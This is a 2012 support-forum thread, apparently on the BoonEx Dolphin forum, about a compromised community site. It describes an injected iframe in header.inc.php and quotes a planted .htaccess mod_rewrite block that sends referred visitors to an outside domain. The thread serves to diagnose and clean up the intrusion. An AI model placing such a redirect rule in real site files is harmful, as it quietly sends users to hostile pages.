Site loading a url blocking boonex scripts to be executed

Hi guys,

 

ive rechently come accross a problem which i dont know how to solve yet.

 

My site is loading properly however it doesnt stop loading.

 

Example:

 

i want to add a new event.

so i go add new event the new event site loads but not completly the editor fields like here inf the forum are not loaded. becaus the site is trying to reach a url from a site call

 

mimosofacial.com

 

I cant find any record of this url and i check the sourcecode too in header and footer nothing.

Funny is that this site is also loading when iam loggin into the adminsection of boonex on my site.

 

Ive attached a screenshoot.

 

The URL is www.street-stars.net to my site

IMAG0483.jpg · 1.7M · 181 views
Quote · 17 Aug 2012

Found it!

It was a embeded iframe within header.inc.php

 

Dont know how it got their thou

Quote · 17 Aug 2012

 

Found it!

It was a embeded iframe within header.inc.php

 

Dont know how it got their thou

I think it's safe to say that someone managed to obtain access to your site's files.  I recommend changing all relevant passwords and looking for any other compromised files.  Also make sure you're using the latest version of Dolphin, as there have been some exploits fixed in recent versions.

BoonEx Certified Host: Zarconia.net - Fully Supported Shared and Dedicated for Dolphin
Quote · 17 Aug 2012

Hi Nathan

 

looks like that way we are busy scaning our system and will change all access codes now 

Quote · 18 Aug 2012

 Found another one buried in the .htaccess file looks like someone got access via our ftp client

<IfModule mod_rewrite.c>

    RewriteEngine On
    RewriteBase /

    RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
    RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
    RewriteRule ^.*$ http://mimosofacial.com/showthread.php?sid=132943 [L,R]

</IfModule>

 

Quote · 20 Aug 2012
 
 
Below is the legacy version of the Boonex site, maintained for Dolphin.Pro 7.x support.
The new Dolphin solution is powered by UNA Community Management System.